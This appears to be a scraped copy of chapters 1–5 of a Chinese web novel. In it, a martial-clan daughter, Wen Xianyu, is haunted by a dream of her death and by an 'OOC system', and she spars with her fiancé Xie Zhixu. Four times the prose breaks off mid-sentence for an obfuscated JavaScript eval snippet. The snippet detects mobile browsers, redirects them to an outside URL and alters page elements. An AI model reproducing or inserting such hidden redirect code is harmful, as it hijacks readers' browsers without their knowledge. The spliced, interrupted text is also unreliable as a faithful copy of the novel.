《恶女人设崩坏系统》 1. 艳鬼回魂 “温氏妖女,罪大恶极!人人得而诛之!!!” 绝壁山崖处,浓烟滚滚,漫天灰烬间充斥着嘶吼的咒骂,无数人影在被火舌席卷上的一瞬化为扭曲挣扎的鬼魅,凄厉的哭喊声刺透云层。 横尸遍野间,有人狼狈起身,惶恐地环视过周遭,最后将仇恨的目光落在位于烈焰中心的女人身上。 “温七!你疯了吗!” 绝望的嘶吼声传来,陷在火焰中的女人却像是无知无觉一般,视线茫然地扫过众人,许久,眼神才慢慢聚焦,迟缓地眨了下眼。 修炼邪功,耗尽内力,经脉俱断,居然是为了以身为珥,与众人同归于尽。 温家出了个疯子!温家活活养出了一个疯女人! 杀了这个疯子!杀了她! 耳边的谩骂似乎永不停歇,温衔玉沉默地听着,呼吸一点点流逝,每一寸断裂的骨骼都在散发剧烈的痛楚,那柄被她虚握着的残剑浸满血水,温热的液体滴落在她脚边的尸体上,她无力地垂下头,手中的剑徒然掉落,发出嗵得一声闷响。 “温七!我们本不想逼你!你又何必误入歧途,让这么多人为你陪葬!” 不知是哪里传来的审视的,道貌岸然的语气。 温衔玉半跪在地,苦笑地扯了扯嘴角,艰难地抬头向着声源处看去,她脸上的血水太多,黏腻地贴着额头向下流,留到眼里时,仿佛与漫天的炽热交融,是浓艳的,诡谲的红。 “你们……你们居然问我为什么……当、当然是因为你们该死了……” 她的声音很轻,低得像是在喃喃自语,却又在偏偏在利箭穿过火焰,破空而来的一刹,耗尽了所有力气般猛然抬首,睁大双眼,露出刻骨的恨意。 “因为你们,都该死!” 箭镞穿透血肉,痛苦的声音从她的紧咬的牙关中溢出,温衔玉咬牙抬眼看向箭来的方向,在影影绰绰的光火中,隐约看见一双紧盯着她的眼。 不等她看清,巨痛便席卷而来。 随后,是无穷无尽的黑暗。 1. 宁州,暴雨侵袭。 幽暗的温室内,豆大的火烛轻微跳跃着,雨声撞击着窗棂,巨雷轰然劈下,映得佛前跪着的众人面色惨白。 座下的僧人低声念着经文,敲敲打打的木鱼声中掺杂着女人们的低泣,一片混乱与死寂中,为首的年轻女子身披玄色外袍,低垂着头,余光扫过婢子匆忙往来的脚步,片刻,又收回目光。 “大小姐,师傅们的经文已经诵完,该让小少爷们上香了。” 婢子的声落,女子眉心一皱,微微颔首后,身后缩在姨娘怀中的男孩们纷纷压低了哭声,抽噎地看了眼梨花带雨的姨娘们,随后被推攘着上前。 “你既是温家儿郎,还不快些上香为你阿爹祈福!” “小十三,你快些走,别让你十一哥抢了去!” “十七!你快走几步啊!若是你阿爹病好,知道你这样不担心他,保不准要心寒呢!” …… 窃窃私语自身后传来,跪在玄衣女子身侧的婢子听得忍不住作呕,手指绞着衣服犹豫了半晌,埋怨地上前道:“主子,您瞧瞧他们,不过是一群偏房庶子,这会儿倒是耀武扬威起来了,好像他们祈个福老爷就能好起来似的。” “耀武扬威倒也正常,至少他们还有为阿爹祈福的资格,不像我,就算是嫡女又如何,连走上前的资格都没有。” 女子声音压得极低,说话间稍稍抬首,骨节分明的手指缓缓拨开散乱在面前的墨色长发,露出苍白的面孔。 熹微的烛火轻微摇曳着,昏暗的光线隐隐约约地映在女子的半边面颊上,隐匿在阴影中的双眼中充斥着不甘,白纸一般的面色下,是嘴上格外浓烈而凄然的红,静跪在端庄的佛像前,宛如幽然抬首的艳鬼! 身侧的婢女还在怯怯骂着,浑然不觉身边的主子眼神闪烁,显然心绪紊乱。 “宿主大人,您瞧瞧,我说什么来着,您家这温家啊孤立无援啊!收了我,您多一个忠心耿耿的仆人啊,我要是强大起来,哪能让您受这种委屈啊。” 脑海中再次响起劝说的声音,温衔玉暗暗攥拳,指甲深凹进掌心。 自打她今夜噩梦惊醒,这东西便像是鬼魅一般地缠上了她,口口声声地说她所做的噩梦乃是她命运的结局,而她之所以死那样惨烈,只是因为她本就是一本书中的恶毒女配。 而它,这个名叫ooc系统的东西就是来帮助她改写命运的,只要完成它的任务,它就能满足她的一切欲望。 真荒谬,哪来的鬼东西自诩救世主,居然企图用一个噩梦来恐吓她,让她相信所谓的注定命运。 不过说起那个噩梦…… 温衔玉忍不住瑟缩了一下,下意识抬手捂住心口,胸口处灼烧的窒息感却仿佛在一瞬间堵塞了口鼻,利箭穿心的痛楚再次浮现在脑海中。 那样真实的绝望和痛楚,真的,只是一场梦? 心脏的跳动声让冰凉的掌心染上一丝暖意,温衔玉闭了闭眼,刚缓下一口气,贱兮兮的声音便又响了起来。 “宿主大人,您别这么冷漠啊,我这可是在帮您,我给您找得都是些轻松的任务,只要您完成任务,别说这些碍眼的姨娘了,就是您温家主也得看您的脸色!” “宿主,您看,您就算是为温家出多大的力,温家主不也一样因为您是女子而不重视您吗?连上香祈福这种小事都不让您去。” …… 脑海中的声音絮絮说着,温衔玉听得烦躁,任身边婢子叫了半晌,才后知后觉地转过头来。 “主子,夫人和老爷让您过去。” “知道了。” 温衔玉应了一声,起身时膝盖已经有些麻木,丝丝缕缕的冷意从门缝处袭来,刚一推门,便见满城风雨席卷飞来,婢子们在雷雨交加中快步来往,溅起一地泥水。 远处的庭院里,中年妇人在门外守着,见了温衔玉出现在回廊下,匆忙上前两步,仔细打量了几秒她的穿着,最终长舒一口气。 “还好还好,你阿爹这病来得急,你们赶过来得也急。虽说这披头散发的不成体统,但终归情有可原,瞧上去也是个实打实的姑娘家,好过你平时那男子装扮,你阿爹瞧了总要生气。” “阿娘既怕阿爹见我生气,又何必让我前来……”温衔玉低声反驳半句,被温夫人拧着眉打断,“七娘!你这是说得什么话?你阿爹如今病重,我告诫你,不过是希望你今日不要再惹他生气!” “偏房生下的那群废物儿子寻花问柳,阿爹可以视而不见,我不过是常年以男子装扮示人,他便觉得我丢尽了人!阿娘!你觉得阿爹这样公平吗!” “这……谁让温家剑法传男不传女,可七娘你……偏偏是个女儿家呢。”温夫人遗憾似地说着,见温衔玉欲言又止地抿了抿唇,浓墨似的眼睛一眨不眨地盯着自己,略有不忍,“七娘……你别这么看阿娘,阿娘知道你委屈,但今天你们父女俩当真不能吵了,你毕竟是你阿爹的女儿,今日安生些,就当是尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“当真!”温衔玉瞬间抬头,见温守业颔首,郑重地拍了拍她的肩,“七娘,一个月后便是正道盟举办英豪大会的日子,此届英豪大会名为切磋各派武艺,实则是为了选出新任少盟主,这少盟主不但能拿到盟主令,继承现任盟主的武艺,还能统领整个江南剑道,这一次,你代表温家去。” “我代表温家去?”温衔玉眸光一亮,“阿爹说得可是真的?” “当然是真的。” 温守业又猛咳几声,察觉到温衔玉关切拍上来的手,目光一沉,片刻,低声道,“不过盟中各派卧虎藏龙,此行我并非是指望你去夺少盟主之位,而是要你带着礼去找现任盟主魏敬山,让他暗中助你八弟,让他拿个看得过去的成绩,在各派面前露露脸,打出个好名声,最好啊,你能让魏敬山助他拿个前三甲,也算是给咱们温家长脸。” “去找魏敬山?”温衔玉按在温守业背上的手僵住,眼睛不可思议地眯起,“阿爹您找我……只是为了让我带着珠宝去替温明远铺路?” “七娘啊。”温守业淡淡叹了口气,敛目不去看温衔玉的神情,“你该明白,温家早晚是要人继承的,你阿娘只生了你这么一个女儿,为父只能另寻他人,这一辈里,除了你,便是明远还有些长进,你此行助他,他若有了名声,我便将他过继到你阿娘膝下,到时候他也算是你的亲弟弟。” “阿爹!是男是女就那样重要吗!孩儿纵然是女儿身,可是这些年……” “好了七娘!此事我已经交代完,为父自是希望你能前去。但你若当真不愿,倒也可以……”温守业语气一顿,对上温衔玉满是不安的目光,轻飘飘地开口。 “只是那样,你便准备三个月后嫁去谢家吧。” 2. 苍山见他 好一个嫁去谢家! 原来今日找她过来,不过是威胁她二选一罢了。 谁不知她那未婚夫,谢家庶子谢之栩最是风流纨绔,且不说这人不学无术不求上进,就是那无赖的泼皮性子也招人讨厌。 与其准备嫁给他,倒不如走着一遭,兴许还能有些机遇,若是运气再好些,保不准能借此机会毁了这婚约。 温衔玉闭了闭眼,深吸了口气道:“父亲……是希望我让温明远夺得前三甲重振咱们温家的声望?” “这是自然。” “那若是温明远当了魁首,拿了这盟主令呢?阿爹便会给他家主之位?” “若是拿了盟主令,自然是当之无愧的家主继承人。” “原来如此。“温衔玉攥了攥拳,俯首闷声道,“阿爹放心,七娘定全力相助八弟。” 外头的雨稍停了些,温衔玉走出房时,天边已隐隐泛起了鱼肚白。 “宿主?宿主?” 系统的声音突然在脑海里响起来。 “宿主,我刚刚都听到了,恭喜您啊!” “恭喜我什么?还嫌我替温明远送礼不够晦气?”温衔玉低骂一声,系统忙接道,“您您您……您别误会啊!恭喜您是因为您的第一个任务来了!” “滴滴,系统任务——请将温家准备的厚礼完整地送到正道盟盟主魏敬山的手中。” “任务限制时长——二十天。” “任务难度指数——二星。” “奖励积分——50。” “任务将在三秒后正式启动,三、二、一、滴——” 尖锐刺耳的提示音在脑中发出长达五秒的轰鸣,温衔玉捂着耳朵的手还没放下,那欠嗖嗖的声音就再次恢复过来。 “宿主,您看看这任务多简单啊,您只要把东西往马车上那么一扔,到了魏敬山那里,小手往上一抬,嘿,这任务就完成了!直接就能获得五十积分呢!” “而且您不是还答应温老爷了吗?这任务不过是顺手的事儿,一点难度都没有,难道不值得恭喜吗?” “答应?你哪只眼睛看我答应了?”温衔玉冷笑道,“阿爹不是说只要拿到了盟主令就能当家主吗?温明远那个废物,就算再怎么帮,也不过是烂泥扶不上墙。” “可、可是宿主你都说了会全力相助啊。” “让我帮他?阿爹可真会白日做梦。”温衔玉阴森森地开口,“我一定会让他连自己怎么死的都想不清楚。” “不是……宿主……人最基本的诚信呢?”系统艰难地咽了咽口水,小心翼翼道,“宿主,想想您那结局,您作为反派,只要洗白了就能活啊!” “宿主大人!”系统长叹一声,“小的求您配合一下,做个好人,积德行善吧!” “闭嘴,吵死了!”温衔玉捂着耳朵狠声骂了回去,“我劝你在我的身上老老实实地待着,再敢随便出来窥视我的一举一动,哪怕你我一体,我也一定会想法子杀了你。” “宿主!我是好人啊!我是为了你好啊!”系统唉声叹气起来,不等把肺腑之言说尽,就见温衔玉厌恶地皱了下眉,嫌恶道,“再说废话,我现在就跟你同归于尽!” “等等等等一下,您且慢!成……您是祖宗,您是祖宗!您够狠!我答应还不成吗!” 系统挫败地嚷嚷起来,转而又压着不满道,“不过宿主,也许在不久的将来您就会有需要我的一天,到时候您默念我的名字就成了。您可得记着,小的说得话可都是真话,如果想摆脱结局,您务必完成任务!” “滚!” “好嘞,我这就滚。” 讨嫌的声音逐渐远去,脑海中重新恢复清静。温衔玉长舒一口气,拄着手臂靠至桌上,另一只手轻轻揉着眉心。 外头的天光已然大亮,半宿操劳过后,温衔玉只觉头脑昏昏沉沉的疼。屋内的婢女红香见状拿了匣中的安神香,刚撒入炉中,就听外头传来急切的大喊声。 “主子!那谢草包又来信了!”蓝衣婢女苦着脸跑进来,见红香投来斥责的眼神,忙按下声音,撇嘴将手中的信呈上。 “主子,谢三郎的信。” 还是真怕什么来什么。 温衔玉郁闷地瞥了眼婢女手中的信,刚要伸手去撕,又想到温守业口中的那句嫁去谢家,一时间脸色更差,手僵在半空许久,才恶狠狠地将信胡乱攥过来。 信上照旧是熟悉的笔迹,温衔玉只匆匆看了几行便铁青了脸色,不等婢女小心翼翼地去劝,便一掌将信纸拍在桌上。 “好他个谢三!当真是死缠烂打!阴魂不散!” “月兰,那谢家送信的走了没有!把他绑起来,让他主子亲自过来赎他!” “走了……他把信塞给奴婢后就跑了,跑得比兔子还快。”蓝衣婢女小声试探道,“主子,您上次骂那谢三郎骂得那样狠毒,纵使这样,他都不同意退婚?” “呵,他居然敢在信中说我想退婚是在痴人说梦!”温衔玉将信纸揉成一团,抬手一扔,便见那信纸落在炭盘里,瞬间灼烧起来。 “当真是庶子出身的废物,只会死皮赖脸的缠着人!” “那主子打算怎么办?这谢三郎可是出了名的难缠,但凡是得罪他的人没一个有好下场的。您先前几次退婚,又数次在大庭广众下要他难堪,若是真嫁过去,只怕他……” “谁说我要嫁给他了?”温衔玉冷声打断月兰,一侧的红香闻言谨慎道,“那您是想?” “阿爹说了,只要温明远拿到正道盟盟主的位子,他就是下任温家家主。” “但以八少爷的能力,只怕是……”红香欲言又止,温衔玉见状笑出声来,“正是,不过他温明远成不了大事,我温七可不一定。” “只要拿到盟主的位子,别说与谢之栩退婚,就是我要那家主之位,又有谁敢多说一句!” “主子说得是。”红香见温衔玉有了打算,稍微松了口气,重新收起安神香,“主子忙了一晚上了,先休息一会儿,我与月兰这就去命人收拾需要的行李。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“走吧,总好过一直待在这里。”温衔玉掀帘走下马车,红香听闻动静连忙上前搀扶,但见那只带着翠玉扳指的手缓缓搭了上来,随后便是一玉面郎君从马车内走出。 墨发雪衣,银冠长剑,芝兰玉树,只一瞧,便叫周遭的姑娘们看直了眼。 月兰从红香身后探出头来,盯着温衔玉轻微红了下脸,撑着伞贴过去,跟在她身后小步向山上走去。 空山新雨,苍翠蒙蒙,温衔玉撑伞走过百阶,方抬首眺望,就听身后传来呼喊。 那声音好像很远很远,让她恍惚间以为那是某一刻停滞的错觉。 诡异的熟悉,难言的陌生,犹如乱石落水,在随风而来的刹那,激起细细密密的疼。 脚下仿佛生了根,身体似乎被钉在原地,她觉得转身莫名吃力,却还是在迟疑过后回首看去,去俯视着那遥远的石阶下方。 细雨连绵,潮湿的水雾中她看不清他的面孔,却听得清那回荡在林间的浩荡呼喊。 “温——衔——玉!” 山风掠过,水雾化开,朦胧处逐渐显露出清晰的人影。 那人影乍看像是浮在半空,再仔细一瞧,只见四个轿夫埋头抬着个朱红山轿,轿上那人翘着腿懒散倚坐着,遮在面前的伞微微露开一角,正瞧见那一身华贵的绛红织金绸衫和含笑望过来的多情目。 3. 一纸婚约 悠远绵长的声音渐渐消散,灵魂仿佛在恍惚一瞬后重新回归身体,在短暂的愣怔过后,温衔玉重新看向山下,盯着那顶轿子,眼中是遮不住的嫌弃。 “主子,这不是……”月兰的话还没说完,便见温衔玉双手背后,垂眼俯视道,“谢三,你不好好在你的温柔乡里待着,跑这儿来丢什么人?” “当你温大小姐的未婚夫,去温柔乡?我哪儿敢啊。”轿上那人撑着头笑眯眯地说着,见温衔玉脸色一变,忙故作自责地用手中的折扇轻轻打了下自己的脑袋,蹙眉道,“瞧我这记性,在外面,谁不得称您一声温七爷。” “不过啊,泱泱,你觉不觉得我若是自称温七爷的未婚夫,这听上去实在不太像话,恐有断袖之嫌啊……”谢之栩歪头倚在轿子上调侃着,不等话说完,就听红香一声怒喝,“谢三郎,我家主子的小字也是你能叫的?” “那有怎样?本公子就乐意这么叫,你封得住我的嘴?”谢之栩一笑,“泱泱,你这婢子以下犯上,不知规矩,你可得管教管教了。” “谢三,你今日出现在这儿,不会就为了说些废话吧。”温衔玉不耐道,“快说,你叫我什么事。” “嗯……我想想。” 谢之栩抬了抬眉,绕有兴趣地盯着温衔玉不耐的神情看了会儿,直到那人眉头逐渐皱起,眼中露出明显的愠怒时才慢悠悠地开了口。 “嘶……倒也没什么事。”谢之栩撑着脸,声音无辜道,“就是单纯的想喊一喊而已。” “谢三,你拿我当消遣?”良久的沉默过后,温衔玉怒极反笑,“同你说话当真是浪费时间,莫名其妙。” “月兰,红香,咱们走。” “是,主子。” 见着温衔玉三人迈步要走,谢之栩眉梢一抬,声音更大了起来,拍着轿子手舞足蹈道:“落轿落轿!你们走得太慢了!就你们这速度,我何时才能追上温七爷啊!” 话落,身后传来轿夫手忙脚乱地落轿声,温衔玉止住脚步侧身回看了一瞬,只见谢之栩七手八脚地扯着衣摆下来,迈步就要往上追。 阴魂不散! 温衔玉沉下一口气,抬头看着山上道:“快点走,别让他追上来。” 说完,主仆三人更加快了脚步。 客栈位于山腰处,内里也算宽阔,只可惜今日山脚下泥泞,行人赶路不便,都在此歇脚,一时间客从云来,竟没有落脚之处。 柜台旁的掌柜的也算是有些阅历的老人,一双吊眼认得不少世家门派,一见了温衔玉背上的剑,立刻撂下茶水迎上去,腆着笑脸道:“阁下是温七娘……” 掌柜的话没说完,红香一眼横过去,前者瞬间咬了舌头,陪笑道:“温……温七爷……” “算你反应快。”一侧月兰道,“还不给我家七爷开个上好的包间!” “是、是,您稍等。”掌柜的说着,给店小二使个了颜色,店小二立刻从人群中挤出,躬着身子上前开道。 客栈内不乏世家门派的子弟在此歇脚,见了温衔玉背上的剑,又瞧着她这身行头,心中便都知晓一二。 走入收拾好的包间,温衔玉刚落了座,便听门外传来噼里啪啦地打斗声,其中夹杂着几声轻蔑的怒骂。 月兰也侧耳听着,没听几句就呲了呲牙,小声道:“主子,我怎么听着这声音像是谢……” 话没说完,房门被人笑嘻嘻地拉开,温衔玉头也不抬地把刚斟满的茶杯一掌扫出去,碎裂的声音瞬间在门口炸开,谢之栩长长地喟叹一声,无奈地拿下遮挡在面前的折扇。 “泱泱啊,你这破脾气,打小就不好,怎么这么多年,偏偏一点儿改善都没有。” “好脾气也分对谁。”温衔玉怒瞪过去,“对你这样的人,我眼不见为净。” “是是是,你温衔玉瞧不上我,可还不是要嫁我、忍我。”谢之栩自顾自地给自己斟了茶,歪头笑道,“只是我不明白,你温衔玉忍不了我,为何能忍得了外面那些人。” “泱泱,你也听见外头那些人都说了什么吧。”谢之栩润了润嗓,仰面调侃道,“他们说你温衔玉是个不男不女的妖怪,说你哗众取宠,说你再怎么努力,还不是一样因女儿身而学不了温家剑法,只当得了跳梁小丑。” 谢之栩轻飘飘地说着,垂眼见温衔玉紧抿的唇似乎见了几分血丝,语气不禁放慢了些,故作同情道:“我当时一听,我气不打一处来啊,怎么能这么说我们温七爷呢,我当场就踹翻了他们的桌子啊!把他们骂得狗血淋头!” 谢之栩说得越是绘声绘色,温衔玉额间的青筋便越发崩紧,抬眼对上那双满是森然的目光,谢之栩话头一停,身子向对面轻轻探去,好笑道:“怎么?我做得还不解气?那泱泱想怎样?” 谢之栩一边说着,一边抬手将桌上的茶点向温衔玉推去。 盘子推至对面,对面之人的手没动,紧闭的唇却慢慢张开,声音冷淡,甚至有些过于凉薄。 “谢三,你今日过来就是为了嘲讽我的?”温衔玉眯眼,似笑非笑地看向对方,“你既然那么有心,不如帮我把他们的舌头都割下来,反正依你谢三的性子,拔人舌这种事,还不是习以为常。” “可以啊。”谢之栩毫不犹豫地一应,对上温衔玉略显诧异的眼神,懒散一笑,“不过说实话,我觉得他们罪不至此。毕竟,他们说得也不无道理。” “但说你这身装扮,乍看上去倒确实像个小郎君。” 谢之栩的手臂拄着矮桌,上挑的眼尾带着抹淡淡的红,眼波流转,扫视过温衔玉紧绷的面容,少倾,目光移开,落在温衔玉放在一侧的剑上,骨节分明的手指点了点桌面。 “可你就算扮得再像郎君,你的家族认吗?你爹认吗?” “还有你的剑……”谢之栩难得正色道,“它认吗?” 温家以剑法起家,当年凭借独创的剑法在战场上为朝廷立下大功,故而在江南剑道立足。只是这剑法传男不传女,女子学习到一定境界,便会遇到终生都突破不了的瓶颈。 温衔玉就算打扮得再像男子又如何,练不成就是练不成,她温家留下的最宝贵之物她继承不了。 谢之栩的每一句话都狠狠敲击在温衔玉的软肋上,纵然她伪装得再强势,这层虚伪的皮却还是被谢之栩剥地分毫不剩。 她不是没想过放弃,她听见过那些鄙夷的言论,见过那些厌恶不解的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322905|183172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光,只是,她不甘心!她想不通! 凭什么!凭什么她温衔玉身为长房独子,母亲与父亲携手起家,本应继承大任,护佑母亲,发扬家族,可只是因为她是女子,她温家剑法的局限,她就拿不到本该属于她的东西,只能屈居人下,成为联姻的牺牲品! “受了局限又如何?纵然我温七有难以跨过的沟壑,那温家其他人又比我强了吗?以他们的悟性,终其一生也达不到我如今的高度。”温衔玉眉眼微抬,锐利的目光扫过谢之栩,“如此,我为何不去争?” 屋内一时落针可闻,谢之栩扬了扬眉,短暂地露出一瞬不出所料的神情,眸中正色褪去,身子猛地向后一靠,抚掌大笑道:“不愧是温家七娘,当真是有自信。” “说完了?”温衔玉顿了顿,向着门口处抬了抬下颚,冷淡道,“慢走,不送。” 月兰与红香见状,对视一眼,极有眼力地上前去请谢之栩。 谢之栩余光瞥了眼扶过来的手,又正视了温衔玉几秒,轻笑出声。 “别这么急着送客嘛,谁说本公子要走了?”他猛地坐直身子,上半身向温衔玉的方向倾去,面上轻浮道,“温衔玉,要不要和我打个赌?” “实不相瞒,我知道你来这正道盟的英豪大会要做什么。无非是想当少盟主,拿到盟主令,好能顺理成章地成为温家下任家主。”谢之栩说着,瞟了眼温衔玉有些难看的脸色,漫不经心地随口道,“或许温家主也交代了你其他事,但就以我对你的了解,其他的事情你未必真的上心,我也不必去猜。” “既然你有争夺盟主令的心,又对自己有着绝对的信心,温衔玉,我们打个赌吧。”谢之栩把摩挲的茶杯撂在桌面上,正视温衔玉道,“就赌你若真拿了盟主令,温家主会不会把下任家主的位置传给你。” “若你赢了,我谢之栩主动退婚,决不再来碍你的眼,若我赢了,你按照婚约嫁入我们谢家,当我谢之栩的夫人,如何?” “我凭什么答应你?” “凭你我婚约乃是父母之命,媒妁之言,我若不退,你温衔玉终生是我名义上的妻,嫁不得旁人,亦无法独活。”谢之栩半真半假地笑道,伸手向着温衔玉的脸颊探去,却被温衔玉嫌恶地一掌拍开。 “滚开!我就算是死,都不会嫁给你谢三!” “是吗?”谢之栩回味似地蜷了蜷被温衔玉打过的掌心,扯着嘴角嗤笑道,“死都不怕了,却不敢和我赌,温衔玉,你在担心什么?是担心你自己拿不到盟主令,还是担心温家主……” “住嘴!”温衔玉猛一拍桌,杯中的茶水一圈圈地荡漾开来,屋内瞬间噤声,红香与月兰低着头不敢看温衔玉的神情,守在门口的谢家护卫昆山垂首看向脚尖,唯有谢之栩一人,极有兴趣地看着温衔玉苍白的脸上被气出红晕,那凉薄的眉眼难得生动。 “难道,你不敢?” 谢之栩继续挑衅,温衔玉的手下意识抓向衣摆,越攥越紧,越攥越疼,指甲以一种扭曲的姿态死死扣进肉里。 谢之栩的目光扫去,在温衔玉紧攥的手似有而无地停了一瞬,下一秒便闲适地举起茶杯,垂眼轻轻一吹。 “不敢也无妨……” 4. 旧梦依稀 “赌就赌!” 话未说完,温衔玉沉声开口。 “好!我就喜欢爽快人!”谢之栩闻言大笑出声,举杯对着温衔玉一敬,“那就先预祝温七爷顺利拿到盟主令了。” “谢三郎放心,我一定会让你看到那一天。”温衔玉冷冷一笑,“只要到时候,你别后悔今日的赌约就成。” “这点诚信我还是有的。”谢之栩扬眉一笑,杯子主动碰上温衔玉面前的茶杯,发出清脆一响,“我们拭目以待,我的好夫人。” 话音未落,滚烫的茶水便扑面而来,谢之栩习以为常得侧身一躲,眼见着水洒了一桌,眼中笑意更深。 “泱泱,我就喜欢看你恼羞成怒的样子,希望在揭晓赌约的那天……”谢之栩笑了笑,挑衅道,“你也恼羞成怒,气急败坏!” 说罢,谢之栩拍了拍衣服上溅上的水珠,从容起身,迈步向门口处走去,没走两步便听闻身后有东西夹杂着风声而来,侍卫昆山猛地扑来,谢之栩身后瞬间响起杯子碎裂的声响。 “谢之栩!你给我等着!”温衔玉低喝的声音传来,却被屋外的嘈杂声掩盖,月兰与红香满眼心疼地站在一侧,面面相觑片刻,红香先一步上前,收拾好了碎裂的瓷片,仔细地放置在桌角。 “主子,您别生气了,这谢三郎是什么样的人您还不知道吗?他惯爱惹人不痛快,保不准就是故意激您呢。” “就是啊!”月兰见状也靠过来,“主子您瞧瞧谢三郎那嘴脸,保不齐他见您失态,此刻正在外头偷偷笑话您呢!” “月兰!”红香刚想打断月兰提及失态之事,便听温衔玉低笑了一声,自嘲道,“你们说得对,是我失态了,我如今这样,他怕是得意得很。” “主子……我不是那个意思……”月兰嗫嚅着出声,却见温衔玉满不在意地叹了口气,重新抬起头来,目光冷冽道,“罢了,反正这些年在他面前也难堪惯了,他爱怎样就怎样吧,眼下如何拿到盟主令才是大事,其余的不必多想。” “是。”月兰点点头,转而又担忧道,“但是主子,我看那谢三郎对咱们此次的目的了如指掌,该不会是故意过来阻止你拿盟主令的吧。” “他一个残废,就算有心阻止我又能如何,难不成我还会输给他?” “残……残废?”月兰悄声低语,刚想去问,见红香警告的目光投来,忙止住了话,肯定地点点头,“主子说得对,那谢三郎就算有那心也没有那实力,届时定时要乖乖解了婚约才是。” “但愿吧。”温衔玉垂下眼,静静道,“毕竟他那样的人,是最不值得接触的。” 酒过三巡,外面的雨终于小了些许,山上的世家子弟们纷纷下山,陷在泥泞中的马车再次有了松动的趋势。 车前悬着的烛火在夜幕中摇曳,寒风将灯笼吹得咯吱作响。 魏氏山庄内,马车依次停靠,下人举着灯笼上前,步履匆匆地为众宾客安排住所。 熙攘的人群中,一个大汉从宅院内冲出,抓了个身上绣着魏字图样的下人开口便问:“你们魏氏山庄里怎么找不到郎中?” “今日盟主旧疾复发,山庄内的郎中都去照看盟主了。”下人蹙眉道,“阁下是哪位,可是遇上了什么棘手的难题。” “我名昆山,我家主子是谢家三郎,而今我家主子梦魇的毛病犯了,谁知你们魏氏山庄竟连个郎中都没有。” “竟是谢家的人!”下人道,“兄台放心,我这就吩咐人将安神药送去,晚些时候若是有郎中可用,定会让他第一时间去谢三郎处。” “等你那郎中来了,保不准都明日早上了。”昆山埋怨道,“罢了,你催着那药快些送来吧。” “是。”下人应和一声,昆山转身离去,走进偌大的院内,止步在谢之栩房前,昆山的手刚落在门前,就听见屋内传来谢之栩痛苦的低吟声,再仔细一听,这念叨的不正是那位温家七娘的名讳。 保不准是梦里被那温七娘给揍了?听上去,被揍得还挺惨? 不过那倒也应当,毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322906|183172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟是他家少爷嘴欠,好好的,非惹得人家姑娘不快。 昆山胡乱一想,手上却忙不迭地给谢之栩擦着额角的汗。大滴大滴的汗水从谢之栩脸上落下,躺在榻上的人神色紧绷,面色苍白,眉头紧紧拧在一起。 “温七……温七……” 迷茫的混沌中,谢之栩只恍惚地觉得耳边响起火石摩擦地声音,转首,浑浊的景象逐渐清晰,地牢内侍卫正为他递来烛火。 “主子您放心,老爷说了,只要您能骗温七小姐替谢家担罪,届时谢家洗清罪责,他便立刻向整个江南剑道宣布,您就是谢家的新任家主。” “我知道了。”谢之栩垂眼应了一声,侍卫由衷一笑,走了几步,又担忧道,“主子,属下僭越,还是想再劝您两句,您筹谋多年,所求已在眼前,切莫因一时心软而错失良机。” “你放心,我所求之事我自然清楚,不会被任何人左右。”谢之栩抬眼,冷淡道,“至于温七,我与她逢场作戏多年,最了解如何让她丢掉戒心,任我摆布。你先退下吧,不要在此妨碍我。” “是!”侍卫干脆利落地退下。 脚步声远去,谢之栩站在拐角处的阴影中,面色晦暗不明,良久,深深吸了口气,迈步向地牢深处走去。 灯火逐渐侵入最黑暗的角落,地上的血迹一寸寸的变得鲜明。 脚步停滞,谢之栩看向牢内瘫坐在地的女人,她惨白着一张脸盯着他,长发披散,包裹着单薄清瘦的身体,唇边血迹斑斑,殷红艳丽,在烛火跳动的一瞬,那红唇微启,发出嘲弄的声音。 “怎么,谢三,你来为我收尸?” “怎么可能?阿七,你别说气话。”谢之栩皱了皱眉,忙拿出钥匙打开牢门,迈步走进后将火烛放在一侧草垛上,蹲下身为温衔玉开解桎梏。 烛火一跳一跳的,映得温衔玉的脸忽明忽暗。她饶有趣味地盯着谢之栩焦急的神色看了一会,片刻,低低笑了一声。 “谢三,你还要装模作样到什么时候?” 5. 改过自新 “阿七,我这次是来带你走的。” “带我走?”温衔玉张了张口,因突如其来的剧痛而下意识地瑟缩起肩膀,缓了许久,才慢慢支起身,拂开谢之栩小心搀扶的手,“谢三,我温七能有今日,是拜你们谢家所赐,如今我身中剧毒,命不久矣,你满意了?” “谢之栩,演了这么久,你累不累啊?这又是哪一出?苦肉计?” “别白费力气了。”温衔玉摇了摇头,声音微微颤抖道,“我得是多傻啊,才会被你骗一辈子。” 